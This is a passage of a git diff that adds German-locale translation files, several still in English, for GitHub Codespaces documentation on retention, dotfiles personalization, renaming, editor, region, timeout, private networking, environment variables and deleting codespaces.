+You can check whether a codespace is due to be automatically deleted soon. 
+
+When an inactive codespace is approaching the end of its retention period, this is indicated in your list of codespaces on {% data variables.product.prodname_dotcom %} at [https://github.com/codespaces](https://github.com/codespaces).
+
+![The pre-deletion message in the codespaces list on {% data variables.product.prodname_dotcom %}](/assets/images/help/codespaces/retention-deletion-message.png)
+
+{% endwebui %}
+
+{% cli %}
+
+## Setting a retention period for a codespace
+
+To set the codespace retention period when you create a codespace, use the `--retention-period` flag with the `codespace create` subcommand. Specify the period in days. The period must be between 0 and 30 days.
+
+```shell
+gh codespace create --retention-period DAYS
+```
+
+If you don't specify a retention period when you create a codespace, then either your default retention period, or an organization retention period, will be used, depending on which is lower. For information about setting your default retention period, click the "Web browser" tab on this page. 
+
+{% data reusables.cli.cli-learn-more %}
+
+{% endcli %}
+
+{% vscode %}
+
+## Setting the retention period
+
+You can set your default retention period in your web browser, on {% data variables.product.prodname_dotcom_the_website %}. Alternatively, if you use {% data variables.product.prodname_cli %} to create a codespace you can set a retention period for that particular codespace. For more information, click the appropriate tab above.
+
+## Checking whether codespaces will be autodeleted soon
+
+You can check, in the {% data variables.product.prodname_vscode %} desktop application, whether a codespace is due to be automatically deleted soon.
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+1. Choose **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu at the top right of the Remote Explorer, if it is not already selected.
+1. Under "GITHUB CODESPACES," position the mouse pointer over the codespace that you're interested in. A pop-up box is displayed showing you information about the codespace.
+
+   If the codespace is nearing the end of its retention period, a line is included telling you when the codespace will be deleted.
+
+   ![Codespace information showing the time until deletion](/assets/images/help/codespaces/vscode-deleting-in-5-days.png)
+
+{% endvscode %}
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/index.md b/translations/de-DE/content/codespaces/customizing-your-codespace/index.md
new file mode 100644
index 0000000000..b01c19fda4
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/index.md
@@ -0,0 +1,26 @@
+---
+title: Anpassen des Codespace
+intro: '{% data variables.product.prodname_github_codespaces %} ist eine dedizierte Umgebung für dich. Du kannst deine Repositorys mit einem Entwicklungscontainer konfigurieren, um ihre standardmäßige {% data variables.product.prodname_github_codespaces %}-Umgebung zu definieren, und deine Entwicklungsoberfläche alle Codespaces übergreifend mit Dotfiles und Einstellungssynchronisierung personalisieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/setting-up-your-codespace
+topics:
+  - Codespaces
+children:
+  - /personalizing-github-codespaces-for-your-account
+  - /renaming-a-codespace
+  - /changing-the-machine-type-for-your-codespace
+  - /setting-your-default-editor-for-github-codespaces
+  - /setting-your-default-region-for-github-codespaces
+  - /setting-your-timeout-period-for-github-codespaces
+  - /configuring-automatic-deletion-of-your-codespaces
+ms.openlocfilehash: cae6a1caddb91bbc8d67657591be0c0f14af4a56
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159125'
+---
+
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md b/translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md
new file mode 100644
index 0000000000..ccd3cdb369
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md
@@ -0,0 +1,105 @@
+---
+title: Personalizing GitHub Codespaces for your account
+shortTitle: Personalize your codespaces
+intro: 'You can personalize {% data variables.product.prodname_github_codespaces %} by using a `dotfiles` repository on {% data variables.product.product_name %} or by using Settings Sync.'
+redirect_from:
+  - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account
+  - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account
+  - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account
+  - /codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+  - Fundamentals
+---
+
+
+## About personalizing {% data variables.product.prodname_codespaces %}
+
+When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_github_codespaces %} allows for two main ways of personalizing your codespaces.
+
+- [Settings Sync](#settings-sync) - You can synchronize your {% data variables.product.prodname_vscode %} settings between the desktop application and the {% data variables.product.prodname_vscode_shortname %} web client.
+- [Dotfiles](#dotfiles) – You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations.
+
+{% data variables.product.prodname_github_codespaces %} personalization applies to any codespace you create.
+
+Project maintainers can also define a default configuration that applies to every codespace for a repository, created by anyone. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+## Settings Sync
+
+Settings Sync allows you to synchronize configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode_shortname %}.
+
+To enable Settings Sync, in the bottom-left corner of {% data variables.product.prodname_vscode %}'s Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
+
+![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png)
+
+For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+## Dotfiles
+
+Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your dotfiles repository, see [GitHub does dotfiles](https://dotfiles.github.io/).
+
+Your dotfiles repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make.
+
+You can configure {% data variables.product.prodname_github_codespaces %} to use dotfiles from any repository you own by selecting that repository in your [personal {% data variables.product.prodname_github_codespaces %} settings](https://github.com/settings/codespaces).
+
+When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your selected dotfiles repository to the codespace environment, and looks for one of the following files to set up the environment.
+
+* _install.sh_
+* _install_
+* _bootstrap.sh_
+* _bootstrap_
+* _script/bootstrap_
+* _setup.sh_
+* _setup_
+* _script/setup_
+
+If none of these files are found, then any files or folders in your selected dotfiles repository starting with `.` are symlinked to the codespace's `~` or `$HOME` directory.
+
+Any changes to your selected dotfiles repository will apply only to each new codespace, and do not affect any existing codespace.
+
+{% note %}
+
+**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the User-scoped settings for {% data variables.product.prodname_vscode_shortname %} with your `dotfiles` repository. You can set default Workspace and Remote [Codespaces] settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
+
+{% endnote %}
+
+### Enabling your dotfiles repository for {% data variables.product.prodname_codespaces %}
+
+You can use your selected dotfiles repository to personalize your {% data variables.product.prodname_github_codespaces %} environment. Once you choose your dotfiles repository, you can add your scripts, preferences, and configurations to it. You then need to enable your dotfiles from your personal {% data variables.product.prodname_github_codespaces %} settings page.
+
+{% warning %}
+
+**Warning:** Dotfiles have the ability to run arbitrary scripts, which may contain unexpected or malicious code. Before installing a dotfiles repo, we recommend checking scripts to ensure they don't perform any unexpected actions.
+
+{% endwarning %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Dotfiles", select **Automatically install dotfiles** so that {% data variables.product.prodname_github_codespaces %} automatically installs your dotfiles into every new codespace you create.
+   ![Installing dotfiles](/assets/images/help/codespaces/install-custom-dotfiles.png)
+2. Choose the repository you want to install dotfiles from.
+   ![Selecting a dotfiles repo](/assets/images/help/codespaces/select-dotfiles-repo.png)
+
+You can add further script, preferences, configuration files to your dotfiles repository or edit existing files whenever you want. Changes to settings will only be picked up by new codespaces.
+
+If your codespace fails to pick up configuration settings from dotfiles, see "[Troubleshooting dotfiles for {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces)."
+
+## Other available settings
+
+You can also personalize {% data variables.product.prodname_github_codespaces %} using additional options in [your personal settings](https://github.com/settings/codespaces):
+
+- To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."
+- To set your editor, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
+- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
+- To set the period for which your unused codespaces are retained, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
+- To set your default region, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)."
+
+## Further reading
+
+* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)"
+* "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#personalizing-your-codespace-with-extensions-or-plugins)"
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/renaming-a-codespace.md b/translations/de-DE/content/codespaces/customizing-your-codespace/renaming-a-codespace.md
new file mode 100644
index 0000000000..04b0d5b52f
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/renaming-a-codespace.md
@@ -0,0 +1,78 @@
+---
+title: Renaming a codespace
+intro: 'You can change the codespace display name to one of your choice through {% data variables.product.prodname_dotcom_the_website %} or the {% data variables.product.prodname_cli %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Rename a codespace
+---
+
+## About renaming a codespace
+
+Each codespace is assigned an auto-generated display name. If you have multiple codespaces, the display name helps you to differentiate between codespaces. For example: `literate space parakeet`. You can change the display name for your codespace.
+
+To find the display name of a codespace:
+
+- On {% data variables.product.product_name %}, view your list of codespaces at https://github.com/codespaces.
+
+  ![Screenshot of the list of codespaces in GitHub](/assets/images/help/codespaces/codespaces-list-display-name.png)
+
+- In the {% data variables.product.prodname_vscode %} desktop application, or the {% data variables.product.prodname_vscode_shortname %} web client, click the Remote Explorer. The display name is the second item in the list. For example: `symmetrical space telegram` in the screenshot below.
+
+  ![Screenshot of the Remote Explorer in VS Code](/assets/images/help/codespaces/codespaces-remote-explorer.png)
+
+{% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %}
+- In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`. 
+
+### Permanent codespace names
+
+In addition to the display name, when you create a codespace, a permanent name is also assigned to the codespace. The name is a combination of your {% data variables.product.company_short %} handle, and the auto-generated display name. For example: `octocat-literate-space-parakeet-mld5`. You can't change the permanent name.
+
+To find the permanent name of a codespace:
+
+* On {% data variables.product.product_name %}, the permanent name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces. 
+
+   ![Screenshot of the codespace name shown on hover over](/assets/images/help/codespaces/find-codespace-name-github.png)
+   
+* In a codespace, use this command in the terminal: `echo $CODESPACE_NAME`.
+* In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`.
+
+## Renaming a codespace
+
+Changing the display name of a codespace can be useful if you have multiple codespaces that you will be using for an extended period. An appropriate name helps you identify a codespace that you use for a particular purpose. 
+
+{% cli %}
+
+You can change the display name for your codespace by using the {% data variables.product.prodname_cli %}.
+
+To rename a codespace, use the `gh codespace edit` subcommand:
+
+```shell
+gh codespace edit -c PERMANENT-CODESPACE-NAME -d NEW-DISPLAY-NAME
+```
+
+In this example, replace `PERMANENT-CODESPACE-NAME` with the permanent name of the codespace whose display name you want to change. Replace `NEW-DISPLAY-NAME` with the display name you want to use for this codespace.
+
+For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)."
+
+{% endcli %}
+
+{% webui %}
+
+You can change the display name for your codespace on {% data variables.product.prodname_dotcom_the_website %}.
+
+{% data reusables.codespaces.your-codespaces-procedure-step %}
+
+    The current display name for each of your codespaces is displayed.
+
+{% data reusables.codespaces.ellipsis-settings %}
+1. Click **Rename**.
+
+1. In the prompt, under "Change display name to..." type your desired display name and click **OK**.
+
+{% endwebui %}
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md
new file mode 100644
index 0000000000..ad415c4536
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md
@@ -0,0 +1,50 @@
+---
+title: Setting your default editor for GitHub Codespaces
+shortTitle: Set the default editor
+intro: '{% data reusables.codespaces.about-changing-default-editor %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces
+  - /codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces
+topics:
+  - Codespaces
+type: how_to
+---
+
+On the settings page, you can set your editor preference so that when you create a codespace, or open an existing codespace, it is opened in your choice of:
+* {% data variables.product.prodname_vscode %} (desktop application)
+* {% data variables.product.prodname_vscode %} (web client application)
+* JetBrains Gateway - for opening codespaces in a JetBrains IDE
+* JupyterLab - the web interface for Project Jupyter 
+
+{% data reusables.codespaces.template-codespaces-default-editor %}
+
+If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_github_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
+
+If you want to work on a codespace in a JetBrains IDE you must install the JetBrains Gateway. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
+
+## Setting your default editor
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Editor preference", select the option you want.
+
+   ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
+
+   * {% data reusables.codespaces.application-installed-locally %}<br><br>
+
+   * If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create or open a codespace. 
+
+     You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.<br><br>
+     
+   * If you choose **JetBrains Gateway**, the Gateway application will automatically open when you next create or open a codespace. 
+
+     The first time you open a codespace this way you must give permission to open the application. 
+
+     The Gateway application will open and the codespace will then be automatically selected. You can then choose a JetBrains IDE, if you have not previously done so, and click **Connect** to open the codespace in the JetBrains client. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
+     
+     To connect to a codespace from the Gateway application, you must have an SSH server running on the codespace. {% indented_data_reference reusables.codespaces.ssh-server-installed spaces=5 %}
+
+   * If you choose **JupyterLab**, the JupyterLab application must be installed in the codespaces you open. {% data reusables.codespaces.jupyterlab-in-default-image %}
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md
new file mode 100644
index 0000000000..bcc79a8a8c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md
@@ -0,0 +1,28 @@
+---
+title: Festlegen deiner Standardregion für GitHub Codespaces
+shortTitle: Set the default region
+intro: 'Du kannst deine Standardregion auf der {% data variables.product.prodname_github_codespaces %}-Profileinstellungenseite festlegen, um den Speicherort deiner Daten zu personalisieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces
+  - /codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces
+topics:
+  - Codespaces
+type: how_to
+ms.openlocfilehash: 4450c284d9012060267c2207c2a774a342669caa
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159642'
+---
+Du kannst die Region, in der deine Codespaces erstellt werden sollen, manuell auswählen und so strenge Sicherheits- und Complianceanforderungen erfüllen. Standardmäßig wird deine Region automatisch auf deinem Standort basierend festgelegt.
+
+## Festlegen deiner Standardregion
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %}
+1. Wähle unter „Region“ die gewünschte Einstellung aus.
+2. Wenn du „Manuell festlegen“ ausgewählt hast, wähle in der Dropdownliste deine Region aus.
+   ![Auswählen deiner Region](/assets/images/help/codespaces/select-default-region.png)
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md
new file mode 100644
index 0000000000..ab0e7be5ee
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md
@@ -0,0 +1,62 @@
+---
+title: Setting your timeout period for GitHub Codespaces
+shortTitle: Set the timeout
+intro: 'You can set your default timeout for {% data variables.product.prodname_github_codespaces %} in your personal settings page.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+type: how_to
+redirect_from:
+  - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces
+---
+
+## About the idle timeout
+
+A codespace will stop running after a period of inactivity. By default this period is 30 minutes, but you can specify a longer or shorter default timeout period in your personal settings on {% data variables.product.prodname_dotcom %}. The updated setting will apply to any new codespaces you create, or to existing codespaces the next time you start them. You can also specify a timeout when you use {% data variables.product.prodname_cli %} to create a codespace.
+
+{% warning %}
+
+**Warning**: Codespaces compute usage is billed for the duration for which a codespace is active. If you're not using a codespace but it remains running, and hasn't yet timed out, you are billed for the total time that the codespace was active, irrespective of whether you were using it. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
+
+{% endwarning %}
+
+### Timeout periods for organization-owned repositories
+
+Organizations can set a maximum idle timeout policy for codespaces created from some or all of their repositories. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting. You will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
+
+{% webui %}
+
+## Setting your default timeout period
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours).
+   ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
+
+{% endwebui %}
+
+{% cli %}
+
+## Setting the timeout period for a codespace
+
+{% data reusables.cli.cli-learn-more %}
+
+To set the timeout period when you create a codespace, use the `idle-timeout` argument with the `codespace create` subcommand. Specify the time in minutes, followed by `m`. The time must be between 5 minutes and 240 minutes (4 hours).
+
+```shell
+gh codespace create --idle-timeout 90m
+```
+
+If you don't specify a timeout period when you create a codespace, then the default timeout period will be used. For information about setting a default timeout period, click the "Web browser" tab on this page. You can't currently specify a default timeout period through {% data variables.product.prodname_cli %}.
+
+{% endcli %}
+
+{% vscode %}
+
+## Setting a timeout period
+
+You can set your default timeout period in your web browser, on {% data variables.product.prodname_dotcom_the_website %}. Alternatively, if you use {% data variables.product.prodname_cli %} to create a codespace you can set a timeout period for that particular codespace. For more information, click the appropriate tab above.
+
+{% endvscode %}
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md b/translations/de-DE/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
new file mode 100644
index 0000000000..bdaddaa45e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
@@ -0,0 +1,59 @@
+---
+title: Connecting to a private network
+intro: 'You can connect {% data variables.product.prodname_github_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+---
+
+## About codespace networking
+
+By default, your codespaces have access to all resources on the public internet, including package managers, license servers, databases, and cloud platform APIs, but they have no access to resources on private networks.
+
+## Connecting to resources on a private network
+
+There are currently two methods of accessing resources on a private network within {% data variables.product.prodname_github_codespaces %}.
+- Using a {% data variables.product.prodname_cli %} extension to configure your local machine as a gateway to remote resources.
+- Using a VPN. 
+
+### Using the GitHub CLI extension to access remote resources
+
+{% note %}
+
+**Note**: The {% data variables.product.prodname_cli %} extension is currently in beta and subject to change. 
+
+{% endnote %}
+
+The {% data variables.product.prodname_cli %} extension allows you to create a bridge between a codespace and your local machine, so that the codespace can access any remote resource that is accessible from your machine. The codespace uses your local machine as a network gateway to reach those resources. For more information, see "[Using {% data variables.product.prodname_cli %} to access remote resources](https://github.com/github/gh-net#codespaces-network-bridge)."
+
+   
+   
+
+### Using a VPN to access resources behind a private network
+
+As an alternative to the {% data variables.product.prodname_cli %} extension, you can use a VPN to access resources behind a private network from within your codespace.
+
+We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn)."
+
+There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_github_codespaces %}.
+
+These third party solutions include:
+
+- [Tailscale](https://tailscale.com/kb/1160/github-codespaces/)
+
+### Allowlisting private resources for codespaces
+
+While {% data variables.product.prodname_dotcom %} publishes IP ranges for several products on its Meta API, codespaces IPs are dynamically assigned, meaning your codespace is not guaranteed to have the same IP address day to day. We highly discourage users from allowlisting an entire IP range, as this would give overly broad access to all codespaces (including users not affiliated with your codespaces).
+
+For more information about the Meta API, see "[Meta](/rest/reference/meta)."
+
+## Restricting access to the public internet
+
+At present, there is no way to restrict codespaces from accessing the public internet, or to restrict appropriately authenticated users from accessing a forwarded port.
+
+For more information on how to secure your codespaces, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces)."
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
new file mode 100644
index 0000000000..b216a2a050
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
@@ -0,0 +1,44 @@
+---
+title: Standardumgebungsvariablen für deinen Codespace
+shortTitle: Default environment variables
+intro: '{% data variables.product.prodname_dotcom %} legt Standardumgebungsvariablen für jeden Codespace fest.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+ms.openlocfilehash: 1a57445bbffb3e1112299414e29796b716f2d801
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158925'
+---
+## Informationen zu Standardumgebungsvariablen
+
+{% data variables.product.prodname_dotcom %} legt Standardumgebungsvariablen für jeden Codespace fest. Befehle, die in Codespaces ausgeführt werden, können Umgebungsvariablen erstellen, lesen und ändern.
+
+{% note %}
+
+**Hinweis**: Bei Umgebungsvariablen wird die Groß-/Kleinschreibung berücksichtigt.
+
+{% endnote %}
+
+## Liste der Standardumgebungsvariablen
+
+| Umgebungsvariable | BESCHREIBUNG |
+| ---------------------|------------ |
+| `CODESPACE_NAME` | Der Name des Codespace, z. B. `octocat-literate-space-parakeet-mld5` |
+| `CODESPACES` | In einem Codespace immer `true` |
+| `GIT_COMMITTER_EMAIL` | Die E-Mail-Adresse für das Feld „Autor“ für zukünftige `git`-Commits. |
+| `GIT_COMMITTER_NAME` | Der Name für das Feld „Committer“ für zukünftige `git`-Commits. |
+| `GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN`| Gibt die Domäne des weitergeleiteten {% data variables.product.prodname_github_codespaces %}-Ports zurück. Beispiel: `preview.app.github.dev`. |
+| `GITHUB_API_URL` | Gibt die API-URL zurück. Beispiel: `{% data variables.product.api_url_code %}`. |
+| `GITHUB_GRAPHQL_URL` | Gibt die GraphQL-API-URL zurück. Beispiel: `{% data variables.product.graphql_url_code %}`. |
+| `GITHUB_REPOSITORY` | Name des Eigentümers und des Repositorys. Beispiel: `octocat/Hello-World`. |
+| `GITHUB_SERVER_URL`| Gibt die URL des {% data variables.product.product_name %}-Servers zurück. Beispiel: `https://{% data variables.product.product_url %}`. |
+| `GITHUB_TOKEN` | Ein signiertes Auth-Token, das den Benutzer im Codespace darstellt. Dies kannst du für authentifizierte Aufrufe an die GitHub-API tätigen. Weitere Informationen findest du unter [Authentifizierung](/codespaces/codespaces-reference/security-in-codespaces#authentication).  |
+| `GITHUB_USER` | Der Name des Benutzers, der den Codespace initiiert hat. Beispiel: `octocat`. |
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
new file mode 100644
index 0000000000..c004006e66
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -0,0 +1,134 @@
+---
+title: Deleting a codespace
+intro: You can delete a codespace you no longer need.
+redirect_from:
+  - /github/developing-online-with-github-codespaces/deleting-a-codespace
+  - /github/developing-online-with-codespaces/deleting-a-codespace
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Delete a codespace
+---
+
+You can delete a codespace in a variety of ways: in the terminal by using {% data variables.product.prodname_cli %}, in {% data variables.product.prodname_vscode %}, or in your web browser. Use the tabs in this article to display instructions for each of these ways of deleting a codespace.
+
+{% note %}
+
+**Note**: You can't delete a codespace from within the JetBrains Gateway, or the JetBrains client application, or from within JupyterLab.
+
+{% endnote %}
+
+There are costs associated with storing codespaces. You should therefore delete any codespaces you no longer need. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+{% data reusables.codespaces.max-number-codespaces %}
+
+## Deleting a codespace
+
+{% webui %}
+
+{% data reusables.codespaces.your-codespaces-procedure-step %}
+1. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
+
+   ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
+
+{% endwebui %}
+
+{% vscode %}
+
+{% data reusables.codespaces.deleting-a-codespace-in-vscode %}
+
+{% endvscode %}
+
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed.
+
+```shell
+gh codespace delete
+```
+
+If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `--force` flag to force deletion, avoiding this prompt.
+
+For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete).
+
+{% endcli %}
+
+## Bulk deleting codespaces
+
+{% webui %}
+
+You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
+
+{% endwebui %}
+
+{% vscode %}
+
+You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
+
+{% endvscode %}
+
+
+{% cli %}
+
+You can delete several or all of your codespaces with a single command, using `gh codespace delete` followed by one of these flags:
+
+`--all` - Delete all of your codespaces.
+
+`--repo REPOSITORY` - Delete all of your codespaces for this repository. Or use together with the `--days` flag to filter by age of the codespace.
+
+`--days NUMBER` - Delete all of your codespaces that are older than the specified number of days. Can be used together with the `--repo` flag.
+
+By default you are prompted to confirm deletion of any codespaces that contain unsaved changes. You can use the `--force` flag to skip this confirmation. 
+
+### Example
+
+Delete all of the codespaces for the `octo-org/octo-repo` repository that you created more than 7 days ago.
+
+```
+gh codespace delete --repo octo-org/octo-repo --days 7
+```
+
+{% endcli %}
+
+## Deleting codespaces in your organization
+
+As an organization owner, you can use {% data variables.product.prodname_cli %} to delete any codespace in your organization.
+
+{% webui %}
+
+For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
+
+{% endwebui %}
+
+{% vscode %}
+
+For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
+
+{% endvscode %}
+
+{% cli %}
+
+1. Enter one of these commands to display a list of codespaces.
+   * `gh codespace delete --org ORGANIZATION` - Lists the current codespaces in the specified organization. 
